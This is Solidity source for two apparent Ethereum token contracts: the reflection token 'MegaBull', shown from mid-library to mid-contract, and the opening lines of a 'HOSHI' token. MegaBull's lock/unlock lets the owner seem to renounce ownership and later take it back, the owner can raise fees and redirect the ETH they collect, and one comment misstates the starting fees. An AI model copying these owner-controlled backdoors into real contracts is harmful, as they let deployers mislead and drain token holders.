require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract MegaBull is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'MegaBull';
string private _symbol = 'MBULL';
uint8 private _decimals = 9;
// Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Team wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _teamWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 100000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable teamWalletAddress, address payable marketingWalletAddress) public {
_teamWalletAddress = teamWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and team fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_teamWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() {
_teamWalletAddress = teamWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
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/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/**
___ ___ ___ ___
/\__\ /\ \ /\ \ /\__\ ___
/:/ / /::\ \ /::\ \ /:/ / /\ \
/:/__/ /:/\:\ \ /:/\ \ \ /:/__/ \:\ \
/::\ \ ___ /:/ \:\ \ _\:\~\ \ \ /::\ \ ___ /::\__\
/:/\:\ /\__\ /:/__/ \:\__\ /\ \:\ \ \__\ /:/\:\ /\__\ __/:/\/__/
\/__\:\/:/ / \:\ \ /:/ / \:\ \:\ \/__/ \/__\:\/:/ / /\/:/ /
\::/ / \:\ /:/ / \:\ \:\__\ \::/ / \::/__/
/:/ / \:\/:/ / \:\/:/ / /:/ / \:\__\
/:/ / \::/ / \::/ / /:/ / \/__/
\/__/ \/__/ \/__/ \/__/
TELEGRAM：.... - - .--. ... ---... -..-. -..-. - .-.-.- -- . -..-. .... --- ... .... .. - --- -.- . -. .. -. ..-
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HOSHI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "HOSHI";
string private constant _symbol = "HOSHI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
